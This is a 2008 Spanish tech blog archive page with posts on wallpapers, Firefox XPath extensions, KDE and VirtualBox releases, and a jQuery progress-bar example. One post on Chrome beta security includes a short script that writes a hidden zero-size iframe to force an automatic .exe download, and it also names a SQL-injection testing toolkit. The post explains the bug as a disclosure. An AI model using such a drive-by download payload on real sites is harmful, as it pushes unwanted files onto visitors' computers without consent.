Archivo para 4/09/08

Momento en el espacio Wallpaper

Bonito fondo de pantalla. Descargalo en:

Enlace | Think Ubuntu

Text-Image, convierte imagenes a texto

Text-Image es un sitio online que nos permite subir nuestra propia imagen y convertirla a formato texto, consiguiendo curiosos resultados.

Enlace | Ejemplo
Visto en | Taringa

Dos extensiones de Firefox para trabajar con XPath

Hace tiempo ya os hable de XMLCopy Editor que es una aplicacion para Linux que nos permite trabajar con ficheros XML y hacer busquedas XPath. Para hacer estas consultas XPath tambien os hable de Lantern e incluso puedes usar otra aplicacion como es XPath Explorer.
Sin embargo si necesitas tener una aplicacion a mano para hacer alguna busqueda rapida y sencilla, casi lo mas util es instalar alguna de estas dos extensiones para Firefox.

Nota: El objetivo de este breve articulo no es hablar de XPath. Digamos que XPath es una especie de lenguaje que nos permite buscar y extraer informacion de un documento XML. Por ejemplo, si tenemos un documento como:

<LIBROS>
<LIBRO id='1'>
<TITULO>Titulo 1</TITULO>
<AUTOR>Autor 1</AUTOR>
</LIBRO>
<LIBRO id='2'>
<TITULO>Titulo 2</TITULO>
<AUTOR>Autor 2</AUTOR>
</LIBRO>
<LIBRO id='3'>
<TITULO>Titulo 3</TITULO>
<AUTOR>Autor 3</AUTOR>
</LIBRO>
</LIBROS>

Una expresion XPath como:

/LIBROS/LIBRO : nos devuelve todos los nodos LIBRO
/LIBROS/LIBRO[@id=’2′]: nos devuelve el LIBRO que tiene el atributo con valor id=’2′

Basicamente yo lo comparo a una especie de SQL donde la base de datos es el XML ^^

Bien, en Firefox podemos usar XPath y XPather. Una vez instaladas, podemos cargar un documento XML en Firefox y haciendo click derecho sobre el documento se desplegara el menu contextual que nos permite usar XPath o XPather indistintivamente. Entonces ya podemos introducir nuestra expresion XPath y obtener la respuesta correspondiente.
Conviene no usar XML de mucho tamaño pues puedes ralentizar el navegador, si manejas documentos de muchos Megabytes, es mejor usar otras herramientas.
La version de XPath es la de la imagen superior, XPather es algo mas simple, pero perfectamente valido:

La comunidad KDE anuncia la disponibilidad de KDE 4.1.1

Ya se encuentra disponible para descarga la version 4.1.1 de este gestor de escritorio. En las notas de la liberacion podemos ver entre otros, que se han implementado algunas mejoras en el funcionamiento, interaccion y renderizado de KHTML y Konqueror, y se corrigen algunos problemas en Plasma ,Okular (el visor de documentos PDF) y Gwenview. Es hora de actualizar.

En un mundo sin muros…

Lei esta frase hace poco y me gusto, y entonces decidi hacerle un pequeño homenaje creando una especie de fondo de pantalla. Mi idea era usar un muro o una pared derruida, pero no encontre imagenes. La imagen en la que me he basado es una imagen del partenon. Espero que sea libre, si no, la retirare. No soy diseñador, asi que si alguno de vosotros si que decide hacer un wallpaper en condiciones parecido a este, que lo suba por favor a Gnome-Look ^^

Pizza para matematicos

Visto en | Meneame

Barra de progreso para JQuery

Ultimamente estoy con JQuery, es una libreria Javascript que te permite hacer aplicaciones muy potentes de manera muy simple. Navegando en digitalbush he encontrado una barra de progreso y me la guardo para si puedo integrarla luego en un componente FileUpload que estoy implementando. El codigo es muy simple, si quereis probar el ejemplo, basta que creeis una pagina HTML con este contenido:

<script src="http://code.jquery.com/jquery-latest.js"></script>

<script>

(function($) {
	//Main Method
	$.fn.reportprogress = function(val,maxVal) {
		var max=100;
		if(maxVal)
			max=maxVal;
		return this.each(
			function(){
				var div=$(this);
				var innerdiv=div.find(".progress");

				if(innerdiv.length!=1){
					innerdiv=$("
<div class='progress'></div>
");
					div.append("
<div class='text'>&nbsp;</div>
");
					$("<span class='text'>&nbsp;</span>").css("width",div.width()).appendTo(innerdiv);
					div.append(innerdiv);
				}
				var width=Math.round(val/max*100);
				innerdiv.css("width",width+"%");
				div.find(".text").html(width+" %");
			}
		);
	};
})(jQuery);

	var pct=0;
	var handle=0;
	function update(){
			jQuery("#progressbar").reportprogress(++pct);
			if(pct==100){
				clearInterval(handle);
				$("#run").val("start");
				pct=0;
			}
	}
	jQuery(function($){
		$("#run").click(
			function(){
				if(this.value=="start"){
					handle=setInterval("update()",100);
					this.value="stop";
				}else{
					clearInterval(handle);
					this.value="start";
				}
			}
		);
		$("#reset").click(function(){
			pct=0;
			$("#progressbar").reportprogress(0);
		});
	});

</script>

<style>
	/* progress bar container */
	#progressbar{
		border:1px solid black;
		width:200px;
		height:20px;
		position:relative;
		color:black;
	}
	/* color bar */
	#progressbar div.progress{
		position:absolute;
		width:0;
		height:100%;
		overflow:hidden;
		background-color:#369;
	}
	/* text on bar */
	#progressbar div.progress .text{
		position:absolute;
		text-align:center;
		color:white;
	}
	/* text off bar */
	#progressbar div.text{
		position:absolute;
		width:100%;
		height:100%;
		text-align:center;
	}
</style>
<div id="progressbar"></div>
<input type='button' id='run' value='start'/>
<input type='button' id='reset' value='reset'/>

Disponible VirtualBox 2.0.0

Disponible una nueva version de VirtualBox con una lista de cambios importante. Podeis descargarlo desde el siguiente enlace.

Los problemas de seguridad de Google Chrome

Hay que reconocerlo. Google Chrome es muy bonito (tiene un look que le hace especial, a la par que consigues tener mas espacio para visualizar en la pantalla del navegador) y tambien es muy rapido, es increible la velocidad con que se renderizan las paginas.
Pero eso si, tengamos cuidado, pues al ser una version Beta aun presenta serios problemas de seguridad.
Particularmente y como nos cuentan en DragonJar existe un bug que permitiria a un sitio malicioso descargar un fichero en nuestro equipo sin pedir nuestra autorizacion.
Podemos comprobarlo facilmente si en nuestro sitio escribimos un script similar al siguiente:

<script>
document.write('<iframe src="http://www.dragonjar.org/calc.exe" frameborder="0" width="0" height="0">');
</script>

Cuando el usuario se conectara a nuestro sitio, comenzaria a descargarse de manera automatica el fichero indicado. Si el sitio es confiable no pasa nada pero como hemos comentado antes, esto podria ser aprovechado por un site malicioso para descargar en nuestro PC ficheros no deseados. Esperemos que pronto Google resuelva estos problemas y saque una version libre de bugs.

Por cierto ya que estamos hablando de seguridad, si eres desarrollador tambien te interesara BSQL Hacker, es un toolkit para realizar test de SQL Injection sobre nuestras aplicaciones web y comprobar lo seguras que son frente a este tipo de ataques.

Relacionado | 32 Trucos y Tips para Google Chrome

Ubuntu guia rapida Wallpaper

Para alguien que este empezando con Ubuntu, tal vez le venga bien esta guia rapida de comandos convertida en Wallpaper.

Descarga | Gnome-Look





¿Es compatible tu equipo con Ubuntu?


( Muchos fondos de pantalla, aqui )

DESCARGATE SCIFI LIFE

365 Dias de Soledad
Me debes los sueños, las promesas y las noches rotas. Me debes la paz, la sonrisa y la esperanza robadas. Me debes la sangre, las lágrimas y el sudor vertido. Me debes las noches vacías, los abrazos anhelados. Me debes un beso de ajenjo de tu amarga boca.

The Ubuntu Counter Project - user number # 11961
Geo Visitors Map

Archivos

septiembre 2008
L M X J V S D
1234567
891011121314
15161718192021
22232425262728
2930  

Blog Stats

  • 31.083.282 hits